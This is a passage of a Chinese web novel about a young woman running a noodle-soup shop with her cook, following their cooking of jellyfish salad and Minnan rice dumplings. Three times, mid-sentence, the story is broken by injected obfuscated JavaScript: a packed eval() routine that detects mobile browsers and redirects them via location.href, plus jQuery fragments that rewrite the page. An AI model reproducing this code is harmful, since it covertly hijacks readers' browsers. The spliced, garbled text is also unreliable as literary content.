许东山将托盘里的满煎糕一一摆放在桌上。 “我都快饿坏了！这满煎糕来得可真是及时！大家一起吃啊！” 方才苏月娘留下来和客人们闲聊时还泡了几壶茶。 清茶配满煎糕，真是再合适不过了。 客人们纷纷伸手去拿满煎糕。 有个老先生咬一口嚼了几下，东西还没咽下去就连连赞道：“好！这东西好啊！” “我先进去了。”同苏月娘说了一声，许东山就准备回厨房去坐着了。 “别走啊许大哥！坐下来一起话仙吧！刚刚大家都还跟我问起你的事情呢！”苏月娘赶忙拉住了许东山。 大家都吃了许东山做的满煎糕。 能把满煎糕做得这么好吃的人，能是什么坏人？ 于是，大家纷纷出声挽留许东山。 许东山只能坐下了。 这些客人里有些都是厝边，这些人看着许东山长大，要想和他硬聊的话，倒也是能聊起来。 从跟许东山回忆他阿公和爹的事情，到询问他在战场上的那几年经历过什么。 一问一答之间，透露出了许多苏月娘不知道的事情。 满煎糕富有弹性，轻轻一拉能够变形，松开之后又能迅速回弹。 苏月娘捏了松软的满煎糕两下，便不敢再捏了，她害怕别人说她快二十岁了，还跟孩子一样幼稚。 满煎糕热着，里头的红糖还没凝固，一口咬下去，浆质红糖从边缘流出，深深品味几下，花生油麻夹馅的香气溢满整个口腔，但这并没有抢走满煎糕的风头，反倒与其相得益彰。 两口吃了半块满煎糕后，喝上一口热乎的铁观音茶，消去口中甜味，想接下去吃的欲望又冒了出来。 苏月娘听到许东山讲他原是被分到炊房做饭，但因为长得太高大了，在前线告急的时候被百户送到阵前打仗时，有人拍了拍苏月娘的肩膀。 “月娘头家，这边这盘没有了，你给我拿一块你盘子里的！” 苏月娘，“……” 11. 酸辣海蜇皮 下过一场雨后，炎热来得毫不掩饰。 苏月娘盼了好几日的夏装终于在某日面线糊店即将歇业的时候送来了。 “我瞧着天越来越热了，怕你着急，就赶了个工，提早两天给你做出来了！”布料店头家娘将一叠颜色鲜亮的衣裳交给苏月娘。 苏月娘翻了翻新夏装的缝合处，不见任何线头与歪斜，可见头家娘的手艺精湛。 “这两天天阴阴的，您还刻意为了我赶工，真是难为您了！” 头家娘摆摆手，笑道：“我就看中你长得漂亮又身段好，要是穿着我家的衣裳卖面线糊，指不定能帮我招揽几个客人呢！” 年轻的小姑娘听见别人夸赞自己，面上的笑容难以掩饰。 “那我一会儿洗洗明早就穿上！就算别人不问，我也说是您家的衣裳！” “你先去试试！要是有什么不合适的地方明天随时拿到我那里去改！” 送走了布料店头家娘后，苏月娘美滋滋地捧着那一叠衣裳往房巷走。 坐在角落里掰面线的许东山看苏月娘脚步轻快地走了，才惊觉夏天到了。 他也该换薄衫了。 苏月娘把自己关在屋子里换衣裳。 许春喜屋里有一块许家富裕时添置的大铜镜，趁着天还没黑，苏月娘换上新衣裳对着铜镜左照右照，喜不自胜。 当晚，苏月娘就将几身衣服都仔细搓洗了一遍。 —— 次日，是个艳阳天。 许东山一个人焦头烂额地准备完了两桶面线糊和二十几样小菜，苏月娘才慢悠悠地从屋后出来。 “许大哥，辛苦你了。”苏月娘站在厨房门口，并不打算进去帮忙。 许东山抬头看了一眼门边的苏月娘，发现苏月娘今天格外不一样，除了换上一身新的莲红夏装以外，那张平日里不施粉黛的面庞也施脂涂粉，显得清丽动人。 许东山匆匆垂眸，往台子上端配料，没搭理苏月娘。 “今天上半天你先干着，下午给你放假！”苏月娘这几天没少赖床，厨房里的所有活都是许东山在干，次数多了，她也觉得过意不去。 “算了，你穿着新衣裳就别往厨房来了。” 放好配料，许东山去小锅里取出一碗温着的稀饭给苏月娘送到堂屋去。 今天就他一个人干活，他没时间炒菜，就只能暂时给苏月娘准备一根剪好的油条和一碗用来调味的酱油。 对着白花花的稀饭和油汪汪的油条，苏月娘生不出什么胃口，但许东山特地起这么早给她准备了早饭，她也不好意思不吃。 …… 今日稍作打扮的月娘头家很是惹眼，客人们也不吝啬自己的称赞，一人一句把苏月娘哄得心花怒放的。 不过，一吃过午饭，苏月娘便大方地给许东山放了半天假。 许东山拗不过苏月娘，只好解下围裙离开厨房。 可他没有午睡的习惯，且整个凤池镇他自小玩到大，他也没什么地方好去。 在屋里逛了一圈后，许东山去到厨房后院，苏月娘正弓着身子小心地擦碗。 “许大哥你出去玩吧！这里我看着就行！” “你晚上想吃什么？” 苏月娘直起身子，思索一番后，道：“最近天热没胃口，你看着做点开胃的吧。” 许东山回到厨房提上苏月娘用来装菜的竹编篮出门去了。 —— 今日是四月的最后一天，今天闭店苏月娘大抵会发工钱。 为了感谢这个敢想敢做还拉他做厨子的好头家，许东山决定自费给苏月娘做一顿好的。 这个时候街上叫买的商贩们才走了小半，可买的东西还有许多。 不过，在路过一家糕点铺子的时候，许东山停下脚，在短队末尾张望了一会儿。 等排到他时，他指了指摆在正中的纸包，“绿豆馅饼（1）和正肉饼（2）各来两包。” “好嘞！”糕饼店头家抓起四个纸包，“绿豆饼一包四文，正肉饼一包六文共二十文，还要点什么？” 展台上琳琅满目的糕饼，许东山竟然不知道要买点什么给苏月娘。 头家看出了许东山的犹豫，道：“你是还想给你头家买对吧？你头家来过两次，每次都买了信杯糕（3）、宝斗糕（4）和地瓜饼，你可以买这两样。” “地瓜饼两包，信杯饼和宝斗糕各一包。” “算你三十五文好了，下次再来！” 见许东山挎着小篮子，头家便接过他的篮子将东西都装了进去。 买好了糕饼，许东山继续去买菜顺带沿路找找阿生和他阿嬷。 才朝蟳埔女买到一大块海蜇皮，许东山便看到蹲在路边和小伙伴斗草的阿生。 “阿生，过来！” 阿生听到他干爹的声音，赶忙丢掉手里的草根，“干爹！” 许东山弯下腰，从篮子里取出绿豆馅饼和正肉饼，“这个给你和你阿嬷，你先拿回家去放着，记得在两天之内吃完。” “谢谢干爹！” “去吧！”许东山笑着拍了拍阿生的圆脑袋。 —— 饭点才过不久，店里也就两三个客人在喝面线糊。 苏月娘怕弄脏衣裳，索性坐在堂屋角落的桌子边编端午戴的五彩绳。 不过，苏月娘的手艺不好，怎么编都编不成样子，许东山进门时，她气急败坏地把绳子往一旁一丢。 罢工了。 许东山提着沉重的篮子路过苏月娘那边，忽然停下脚步，从篮子里掏出地瓜饼、信杯饼以及宝斗糕。 “吃吧。” 苏月娘看着桌上的一堆糕饼，眼里满是惊讶。 没等苏月娘说话，许东山就自顾自地前往厨房处理食材了。 想到明天是初一，需要准备供品拜拜，所以苏月娘忍住了吃宝斗糕和信杯饼的冲动，只拆开了一包地瓜饼。 地瓜饼薄如蝉翼，能够透光，向下一折，会有清脆的一声响。 许东山正在处理海蜇皮，听见愈发靠近的“咔吧咔吧”啃饼声，他便知道是苏月娘过来了。 苏月娘从窗里探出头，往水池里的大盆里瞧，“晚上做凉拌海蜇皮吗？” “嗯，还买了一点旺螺、九节虾和鱼。” “这么硬的菜，适合晚上喝点小酒。” 许东山，“上次大松春喜带了一坛，我放你隔壁那间屋子里了。” 拿酒的事情不着急，苏月娘就坐在厨房里看许东山处理海蜇皮。 海蜇皮在被挑到凤池售卖之前被蟳埔女用清水泡了一路，到许东山手里时，这海蜇皮只剩下一点咸味。 许东山将那一大块海蜇皮切成四条胳膊宽的厚片，取一把锋利的的切鱼刀，反向将海蜇皮片成两片风吹饼叠在一起那般厚度的薄片——这样更好去咸腥味也更好被料汁泡入味。 片好的海蜇皮放入清水中泡一会儿。 许东山在厨房里翻找了一番，找出蒜头、老姜、芫荽，但还缺少最重要的一味料。 看苏月娘入迷地站在他身边盯着那一盆透明的海蜇皮，好似下一秒就要抓起一块海蜇皮往嘴里塞，许东山怕她真这么干，于是决定给她找点事情做。 “你去后面的那排花盆里摘三四颗番姜（6）来。” 苏月娘既然住在这儿，必然会接触这个家的一些家务，其中，她干得最多的就是每两天给后院露天庭院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15125135|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的两排花浇一次水，她自然清楚那儿种了两盆番姜。 苏月娘走后，许东山给黄瓜条去头尾，用力用切菜刀的刀背将黄瓜拍碎，而后切成指节宽的块儿丢入盆里放着。 生姜切丝、芫荽分段、蒜头剁蓉一齐铺在黄瓜上，倒入约三两的酱油、二两半的永春陈醋、一勺白糖、半勺盐巴、半圈芝麻油，便算调味成功。 过年那会儿种的番姜，这两天刚成熟，每一颗番姜都有小指那般长，红彤彤的，长得很是喜人，但去年许春喜不知上哪买的种，今年竟然种出豆大圆形紫色的番姜。 苏月娘不知许东山喜欢长条红色的还是圆形紫色的，便分别摘了三颗归来。 许东山看着两种番姜，最后挑了红色的那种。 原因无他，紫色的头一回见，他不太敢吃。 苏月娘切番姜的时候，许东山用手捞起水里的海蜇皮，用力地攥干水分，以免浸泡料汁的时候影响风味。 最后海蜇皮番姜一起放入碗中，搅拌均匀。 放置到傍晚，便可以食用了。 …… 临近闭店的时候，客人愈发稀少，许东山与苏月娘分工合作，苏月娘负责招待客人，大厨许东山负责在厨房里焯旺螺、煮九节虾、蒸鳜鱼。 最后一位客人离开后，苏月娘眼疾手快地关了大门。 许东山从厨房里端出热气腾腾的海鲜与河鲜。 单吃海鲜可吃不饱，苏月娘又不是很喜欢喝粥，于是许东山方才临时外出买了一笼煎包。 今日的晚饭里，苏月娘最期待的便是那一盆腌海蜇皮。 料汁已经倒掉了大半，透明的海蜇皮伏着各色各样的料堆叠在一块儿，因着海蜇皮片得够长，苏月娘一下子就将这滑溜溜的海蜇皮给夹了起来。 海蜇皮这东西不必焯水即可使用，保留了一点原滋原味，滑溜溜的表皮裹上酱油与陈醋，呈现漂亮的焦色却又是透明的。 搭配着蒜蓉、芫荽入口，海蜇皮在舌头上滑溜溜地翻滚，随后没入牙齿，脆嫩酸爽，使人胃口大开。 有的海蜇皮表面光滑，有的海蜇皮表面有三两串起伏，苏月娘偏爱更能包含更多料汁的后者，连吃了五六口后，她才在许东山的提醒下吃起了其他的菜。 苏月娘和许东山的口味很是合得来，吃清水焯的海鲜河鲜时总爱蘸加了一小勺白糖的酱油陈醋蒜蓉汁。 都说口味相似的人合作起其他事情来也能够十分契合。 苏月娘觉得这话说的不假。 这一个月以来，她和许东山一个主招待客人，一个主厨房内务，将月娘面线糊店的生意打理得很是红火。 赚到的钱一个匣子装不下，都改用布袋装了。 今日午后没什么客人，苏月娘躲在屋里清点了这个月挣到的钱，除去做面线糊以及生活的成本，剩下的数额依旧是十分可观的。 酒过三巡，微醺的苏月娘人在兴头上，回到屋里取来了几大串钱。 “许大哥，这是你这个月的工钱和租金！” 怀里落下沉甸甸的几大串钱，许东山有些诧异。 “你是不是多给了？” “我思来想去，用那点钱雇你这个大厨替我做事，实在是太委屈你了，所以我在原来的工钱上添了三成。” 原先苏月娘定的工钱就不少，现在又添三成，许东山觉得受之有愧。 几番你推我推之后，苏月娘一把把钱摁在许东山怀里。 她冲着他眨眼，笑得很是狡黠。 “春喜嫂还等着你成家呢！这钱你就收下存着当老婆本吧！” 许东山看着满怀的钱，心里竟有些无奈。 娶妻……大概是猴年马月的事情了。 12. 闽南烧肉粽1 发了工钱后，许东山干活比四月更积极了。 他不再纠结苏月娘为什么赖床，甚至会为了让苏月娘多赖一会儿床而早起备料。 苏月娘睡得饱，又有时间打扮了，过路人见着这么一位能说会道、貌美如花的姑娘在面线糊店里忙活，就算没有进门喝碗面线糊，也能暗暗将这家面线糊店记在心里。 繁忙而又平静的生活里总是会起一些涟漪。 苏月娘正琢磨着这两日要包点肉粽时，隔壁一声巨响打断了她的思绪。 爱看热闹的苏月娘立即直起身子，朝着门边的另外一根柱子走去，并探出悄悄探出脑袋。 只听见，隔壁传来一个大男人的怒骂声，“你家的醋肉都酸成这样了还敢拿出来卖！有你们这样做生意的吗！” 紧接着，李金花理直气壮地应道：“醋肉本来就是酸的！你是不是本地人啊你！你吃过醋肉吗！” 醋肉是真酸还是假酸有待确认，苏月娘继续竖起耳朵仔细听。 “醋肉是醋的酸，你这是热坏的酸！别说醋肉了，你家的大肠都臭得不像话！” 李金花和那个客人又就着大肠是原本就臭的还是坏掉变臭的又辩论了一番。 最后是别的客人站起来说他刚刚也吃到发了霉的卤蛋，李金花这才没话说。 听后来的动静，应该是李金花给吃到坏料的客人们退了钱，客人们气冲冲地出了门后，苏月娘立即缩回脑袋，假装在看巷口的风景。 没想到她身后挤满了客人，大家都在偷听隔壁的热闹。 趁着客人们都在，苏月娘赶紧跑回厨房和许东山分享这事儿。 许东山习以为常地煎蛋包，“以前就经常有这样的事。” “她家的剩料都不清掉的吗？” “嗯。” 隔壁的事情也算是给苏月娘敲响了个警钟，她可不想自家店铺的名声因为东西坏掉而受损。 “现在夏天到了，东西容易坏，不如咱们现做的料就半天一做，宁肯多费点功夫，也不要让人家吃到不好的东西。” 许东山赞同她的想法，“好。” 外面客人们正忙着讨论隔壁的事情，暂时没人找苏月娘，于是苏月娘就坐在矮板凳上给灶里添柴，等着许东山将面线糊倒回锅里加热。 “马上就端午了，明天我们包点粽子吧？” “等不忙了，我去找人订粽叶。” 苏月娘往外瞥了一眼，一堂屋的客人们还凑在一块儿嘀咕隔壁那家店。 她灵机一动，“粽叶可以多买一些。” —— 苏月娘急着包粽子，许东山也就赶着去找人订粽叶。 次日，苏月娘与许东山兵分两路去取昨日订好的食材。 许东山力气大，就负责取猪肉、粽叶和鸡蛋，苏月娘则负责去购买虾米、干贝、香菇、莲子。 两人一前一后回了家后，许东山继续准备面线糊和配料，余下做、粽子的材料便由苏月娘先处理着。 苏月娘给昨夜就泡上的两盆糯米换了水后，提着两大捆箬竹叶去了厨房外的院子里处理。 苏月娘要了三百片粽叶，她要得着急，卖粽叶的只能卖给她连夜采摘的粽叶，好在这些粽叶够新鲜，也够柔韧，处理起来也不用太过小心。 用剪子去头去尾，粗布轻擦粽叶两面，最后浸泡在清水中，为防止粽叶浮起，顶上还需压上一块扁石头。 处理好粽叶，第一波客人们也陆续进店了。 “月娘头家，给我上老三样！对了，你家今天怎么这么晚开店？”这位熟客方才过来探过头，见店门没开，便推了一刻钟再来。 “去街上买包粽子的食材拖了会儿！” 别的客人听了，偏头问道：“月娘头家不会是要卖粽子吧！” 苏月娘打的就是这个主意。 她将客人们的面线糊端了出来，并介绍道：“明天中午开始卖烧肉粽，不过我怕卖不出去，就打算先做一百个试试水。” 大家伙上一次吃肉粽还是一年前的事情，一年能吃上肉粽的日子也就那么几天，这不马上端午了，大家伙都馋肉粽这口。 于是，客人们纷纷说会来尝尝月娘面线糊店的肉粽。 客人们这么给面子，苏月娘也得做出点实际行动表示表示，“我家的肉粽保管让大家吃一个就饱！凡事现在坐在店里的，只要来买肉粽，就多送一个！” 现在坐在店里的也就五个人，多送五个粽子出去也亏不了多少，说不定还能依靠这五个人让其他人知道月娘面线糊店这几日还有肉粽生意。 …… 趁着饭点后没有客人，许东山着手处理那七斤三层肉。 这三分肥七分瘦的五花肉被切成大小均匀的长方块后入水淘洗。 倒去浮满油脂的水后，苏月娘帮着许东山将三层肉转移到一大铁盆中。 食材多，也意味着所用的调料多，盐、生抽、老抽、糖、五香粉、料酒、蒜蓉呜呜泱泱下了一堆，还险些从盆沿溢出。 许东山小心翼翼地用手将配料以翻拌的形式抹平到三层肉块上。 七斤切好的三层肉工作量可不是开玩笑的，许东山站在台子边拌得都出汗了，那七斤肉块的表皮才均匀地裹上调料。 苏月娘体恤她的厨子，问过他的意见后，跑去中院里取来一块他用来擦脸的巾子。 许东山手上还沾着调料，也不好接过巾子擦汗，苏月娘犹豫了一瞬，最终走到他身边去，将巾子来回对折两回，一把按在他的额头上来回抹了抹。 忽然拍过来的巾子带着一股沁人心脾的淡香，许东山有些纳闷他的巾子为何会有这样一股味道，直到丁香色的袖子与一截细皮嫩肉的腕子闯入他的视线，他才猛然发现那股香味是苏月娘的。 “还有其他地方出汗吗？” 许东山抿了抿唇，“没……没有了……” “巾子给你放到洗衣池里去，你记得自己洗一洗。” “好。”许东山的耳尖有些热。 直到那片丁香色的裙角消失在厨房门口，许东山才松了一口气。 —— 为了赶进度，今日月娘面线糊店提早两刻钟闭店，两人就着卖剩下的面线糊配上苏月娘买的煎包简单解决了晚饭后便开始忙活准备肉粽的馅料。 闽南烧肉粽里具备山珍与海味，要备馅料，需得花费不少功夫卤、炒、煠，才能做到将馅料包入粽叶那步。 卤那七斤三层肉的重活被许东山包揽下。 用来煮面线糊的大锅正好适合卤肉，放置好腌好的三层肉，往锅中撒入一把八角、桂皮、香叶后再倒入一大盆香菇水、料酒、生抽、老抽、冰糖、盐以及一百多朵香菇。 最后放入两大瓢清水，确认水面没过食材，便可盖上锅盖焖卤至肉质软烂。 另一口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133882|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大锅边，苏月娘正在从锅中捞煮好的鸡蛋，一颗颗肉色壳与白色壳的鸡蛋在沸水中“扑腾扑腾”地撞来撞去，发出阵阵闷响，随着锅中鸡蛋数量减少闷声渐无，只能听见鸡蛋捞起时的甩水声。 第一盆鸡蛋满了，许东山及时将这盆鸡蛋倒入清水桶中去热，而后眼疾手快地将空盆塞回苏月娘手下。 等一百多颗鸡蛋捞完，许东山提起锅耳，快步送到院子里倒掉里头的水。 “许大哥，帮我提一下桶，我去院子里剥壳！” 一会儿厨房里必然会堆满各种各样的馅料，若是苏月娘蹲在那儿剥鸡蛋，免不了会挡到路。 许东山安置好大锅后，才帮苏月娘提走泡在水里的一百多颗鸡蛋。 自小抡大锅的厨子气力无穷似的，苏月娘两条胳膊拎不起来的东西，他竟然单手提了起来。 而另一手还拎着厨房里的那块矮板凳。 “剥吧。” “辛苦辛苦。”苏月娘爱惜地提起她的裙摆掖在两腿之间才在板凳上坐下。 许东山临进门前回头看了一眼剥开第一颗鸡蛋就往自己嘴里塞的苏月娘。 他无声笑了笑。 这个看起来精明能干的头家其实和春喜还是很像的。 什么东西出锅都要自己先尝一口。 …… 将虾米、干贝炒香轻松，麻烦的还是炒糯米。 倒不是说糯米量大，炒起来麻烦，而是控制糯米的咸淡与炒制的火候不易。 虽说肉粽里还下了其他山珍海味，但是做了千百年的主角的糯米依旧是重中之重，咸了淡了、炒太干炒不够火候都会连累其他馅料失色。 来回翻炒了将近两刻钟，被老抽染色的两盆糯米表面只覆葱头油的油光且翻动起来轻微粘勺，许东山便丝毫不恋战地将糯米铲回到原先的盆里放凉。 干完这最辛苦的活，许东山站在灶边来回活动酸胀的胳膊。 入了五月，泉州城里干气力活的男人们纷纷换上了便于干活而又凉快的无袖薄衣，将两条胳膊展露在外。 在闷热的厨房里干活的许东山也不例外，他抡着胳膊缓解酸胀时，上臂的大块肌肉不停地舒张收缩，刚从锅里盛一碗料的苏月娘见了心底还有些惊奇。 她长这么大，还是头一回见到胳膊这么粗的男人，就连她家所在的小镇上的铁匠，胳膊也只有许东山的八分粗。 一个厨子有如此体格，想必是年少时刻苦抡锅才练成的。 这样一想，苏月娘看许东山的眼神愈发满意。 “许大哥，你点吃点东西垫垫肚子。” 看着那满满一碗料，许东山摇了摇头，“你吃吧，我不饿。” “不管饿不饿你都尝尝，光我一个人尝可不能确定味道合不合适。” 平日许东山晚饭都能吃两大碗饭，今日他为了赶工，只吃了六个小小的水煎包便算了事。 苏月娘担心他就吃那一点还干了一晚上的活，夜里会饿得睡不着觉。 盛情难却，许东山接过那碗料，取上筷子，开始慢慢品尝。 他对自己的手艺极有信心，卤肉、卤蛋、小鲍鱼、莲子以及香菇都是他想象中的那股味道。 “怎么样？咸淡合适吗？” “合适，等凉了就可以包了。” “那许大哥你先吃着，我把东西都搬到院子里，一会儿我们在院子里包粽子！” 13. 闽南烧肉粽2 黑灯瞎火的夜晚，在屋里点上昏暗的油灯还不如坐在满空银辉的院子里。 许东山在院子里支了一张矮桌、摆了两张矮板凳。 原先拆起来的栅栏还靠在角落里，苏月娘将那些栅栏用水冲洗一番，卡在桌边充当绑粽子的固定物。 馅料已经冷却至不烫手的温度，已经开始犯困的两人打起精神继续赶工。 两人面对面分坐在桌子的两边，馅料、粽叶堆在小桌上，捆在栅栏上的细绳伸出一截儿搭在桌头。 夏夜微风，巷里犬吠，厝边叫骂，有几分岁月静好的意味。 “你二叔也是不容易，每天一走出房门就能听见她被你二婶骂。” 许东山，“二婶现在骂的应该是我堂弟。” 苏月娘取来一长与一短粽叶拦腰处相叠，随后双手紧捏相叠处两边，向上一凹将下方拗成漏斗状，“你堂弟？虽然就住在隔壁，但我好像也就见没几次！” “他就是个不正经的人，经常在外面游来游去不干正事。以后……以后你看见他记得躲远一点。” “知道了。”苏月娘舀一大勺糯米铺在“漏斗”底，将糯米压实后放上两块卤肉、一只小鲍鱼、半个卤蛋、一朵香菇、两颗莲子、虾米若干、干贝两粒，再盖上糯米，糯米面比“漏斗”边沿略高，便可用将粽体扣在未经折叠的上半部分，左右捏出两个尖角，叶尖向中心折叠。 这粽子比苏月娘的拳头大上不少，苏月娘单手捏着这大粽子有些吃力。 好在细草绳已经搭在桌边，苏月娘右手扯过其中一段，快准狠地将草绳绕粽子腰用力捆了两圈，被绞夹在绳子里的粽子边角都被固定下来，便不必苏月娘费力抓着，打上一个牢固的绳结，粽子就算包好了。 苏月娘满意地托着那颗粽子给许东山看，“许大哥你看！我这包粽子的手法厉害吧！到时候煮熟了，这粽子的形状还会更漂亮呢！” 许东山一边掐着他手中的叶片，一边打量着苏月娘手中的粽子。 他对这粽子给予了很高的评价，“嗯，好看，比春喜包的好。” 虽然苏月娘不知道许春喜包得怎么样，但她知道许春喜嫁到浮桥没多久就因巧手出了名，所以许东山夸她比许春喜包得好，应当是很高的评价 苏月娘美滋滋地放下粽子，“等粽子煮熟了，第一颗给你吃。” 许东山无声地笑笑，继续低头包他的粽子。 …… 两人一边闲聊，一边包粽子，足足干到了快子时才结束。 苏月娘攥着满是油光的双手站起来抻懒腰，“许大哥你快数数包了多少个！” 卡在桌边的栅栏上捆满了一百来个粽子，许东山弯下腰，将粽子一提一提地拎了起来。 一提五个，共有二十六满提，另余一提只挂了三颗的。 “包了一百三十三个。” “那三个咱们两个留着自己吃！其他一百三十个卖得好就再包一回，要是卖得不好还能拿去送亲戚！” “好。”许东山分三个来回，将那一百多个粽子拎回厨房里放着。 将手洗干净的苏月娘打着哈欠回厨房里逛了一圈。 她和许东山对视上。 “还吃吗？” 许东山也困得眼冒泪花。 “天亮再说吧。” 两个人默契地一齐往后屋去了。 —— 苏月娘惦记着那口烧肉粽，天还蒙蒙亮，她便克服了困意，从被窝里爬了出来。 她以为自己起得够早了，没想到她梳妆齐整后去到厨房，许东山已经在干活了。 一进厨房，苏月娘干的第一件事就是去掀锅盖。 锅盖一打开，带着竹香与糯米香的热汽翻滚出来，扑了苏月娘一脸。 苏月娘立即直起腰，生怕水汽将面上的胭脂弄花了。 “还有多久能熟？” “半个时辰吧。”许东山正往油锅中捞醋肉，“实在饿的话可以吃点醋肉垫一垫。” “我再忍一会儿！”苏月娘用筷子给泡在滚水里的肉粽们翻了个身，“许大哥有什么还没做的？” “花生酱还没准备。” 空口吃烧肉粽虽然也是味美的，但多吃几口总会觉得腻味。 人们为了解决这个问题，总会在肉粽上淋上花生酱或者甜辣。 昨日许东山刚去街上打了一缸花生酱，花生酱凝固在缸内，还需做成稀的，才能作为酱料使用。 那口炸醋肉的锅提起来后，许东山换上一口稍小两圈的锅架在灶上。 （1）锅烧热，苏月娘往锅中倒入一大碗冷油，丢入切好的红葱头，随着油温上升，红葱头的香味慢慢从油里激发出来。 待到油面微微冒烟，苏月娘捞起红葱头，再用大勺将热油盛入铁碗中放凉。 …… 油放凉了，苏月娘光顾着去锅里捞肉粽，全然忘记了要做花生酱的事情。 还是许东山忙活完面线糊的事情回来，见台子上还放着一碗油才接手这事儿。 苏月娘从锅里挑出两颗最大的肉粽丢到碗里，粽子太烫，苏月娘怕将手烫伤，便只能取一把剪子将草绳剪开，而后再用筷子挑出粽叶。 粘稠金黄的粽子从被煮成草枯色的粽叶上缓慢滚下，所过之处还拉出一小截细丝。 苏月娘将两个碗挪到许东山的手边，等着许东山将花生酱与油搅拌均匀。 经过加工的花生酱质地变得稀薄顺滑，气味比起未稀释之前更加淳郁。 许东山往两个碗里分别放了一勺花生酱，花生酱跟潺潺小溪一样，“娟娟”往下流。 做大厨的大概都有刻意将食物做得更美观的习惯，那一勺花生酱自肉粽尖顶淋下，粽尖又分流几条向下流淌。 甜辣就不似花生酱那般顺滑了，许东山换了个大勺，手法熟练地将甜辣绕着粽体旋绕。 用苏月娘的话来说，这粽子变成了这般： “你这么放酱料，谁看得出这粽子才七文钱！”苏月娘笑出声，“不如卖十文！” 许东山，“谁没事花十文买个粽子？” 苏月娘冷哼，“你这人可真没意思！” 她端着碗走了。 许东山不知道自己不就说个实话，怎么还惹着她了。 毕竟是个跟春喜一般岁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147124|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数的头家，许东山还是盛了两碗面线糊端出去看看她什么情况。 “先喝口面线糊，被噎着。” 馋虫似的苏月娘的注意力已经全然被烧肉粽吸引，许东山说话她都没给回应。 小小粽子，包含箬竹叶的清香与山珍海味的浓郁。 这一口咸香软糯的糯米里，藏着一小块软烂的卤肉、一只鲜脆的金钩虾米，与裹在外头的花生酱、甜辣一起送入口中咀嚼，那叫一个鲜咸甜嫩，层次丰富。 许东山对食物没有那么多感想，他只是饿得埋头苦吃。 吃着吃着，他听见身边的人在低声啜泣。 他脑子发愣地扭头看她，只见苏月娘嘴里嚼着肉粽，豆大的眼泪从眼眶里滑落。 许东山挠了挠手心，不知道该说点什么安慰她。 最先说话的还是苏月娘，她用力吸了吸鼻子，抽抽噎噎道：“要是我爹还在……我肯定能在这个时候吃上我爹包的肉粽……” 许东山从未主动问过任何与苏月娘来历有关的事情，只是从许春喜口中或是苏月娘的无意透露中得知，苏月娘从前和她爹相依为命，后来她爹病逝，她一个孤女受大伯一家欺负，三月时，她为了躲避一桩亲事，瞒着所有人跑到这儿来。 这让他想起他从好不容易从战场上全手全脚地回来，想和相依为命的父亲与妹妹一起过好日子时，却发现自己父亲早就病死了，家业也落败了。 苏月娘和当时无依无靠的春喜何其相像。 许东山下意识将手伸向桌头的一块抹布，就在抹布要递到苏月娘面前时他才意识到手上的东西是什么。 他赶忙将抹布丢回去。 苏月娘却好像明白他方才是想做什么。 她扭过头，破涕为笑。 —— 月娘面线糊店开张了。 踏进门的第一个客人兴致勃勃地点了一颗肉粽。 “月娘头家，你可别忘了你昨天说要多送我一颗肉粽！” 苏月娘一边站在厨房门口等着许东山浇浆，一边朝着客人笑道：“记着呢！另一颗粽子你要现吃还是带回去！” “带回去吧！” 苏月娘将浇好酱的肉粽端出来，“您先吃着，等要走了，我再帮你把另一粒肉粽捞出来！” 客人朝碗里一瞧，很是惊喜，“我还以为你说一个粽子就能吃饱是夸大其词呢！没想到真这么大！” “我们家粽子不仅大，料还放得特别足！光卤肉就放了两大块呢！” “那我可得好好数数了！”客人用筷子将肉粽从中间夹开，塞在中间的鲍鱼、香菇、莲子纷纷掉了出来。 看到小鲍鱼的那一刻，客人也不打算数卤肉有几块了，夹起糯米就开吃！ 肉粽这东西不必去细品，一入口就能知道美味与否。 这客人吃对了味，对苏月娘连连点头，“你家的粽子料足味正，比我娘包的好吃！” 对卖吃的店家最高的评价莫过如此了。 苏月娘回过头看向厨房那边。 不知许东山听到没有。 “好吃的话这几天都来吃！我家粽子卖到初十！” 14. 湖头米粉汤 肉粽料足味正个头大，才开张半个时辰，就已经卖出了十三个。 虽然这肉粽吃过的都说好，但一个售卖七文钱还是让不少舍不得花钱的人望而却步。 七文钱，都能喝三碗清糊了。 不过苏月娘也不会因此调低价格，她打心底觉得自家的肉粽卖这个价实在对不起肉粽的个头和许东山的手艺。 …… 把肉粽当早饭的人到底不多，到了中午，来吃肉粽的客人竟然一下子涌了过来。 好在苏月娘料到中午会是这么个情况，早就在所有锅里煮上肉粽，客人们一来，只需要捞出肉粽、淋上酱料就可以出餐了。 肉粽出彩得喧宾夺主了，许东山干脆放下盛面线糊的大勺，直接守在锅边解肉粽淋酱汁。 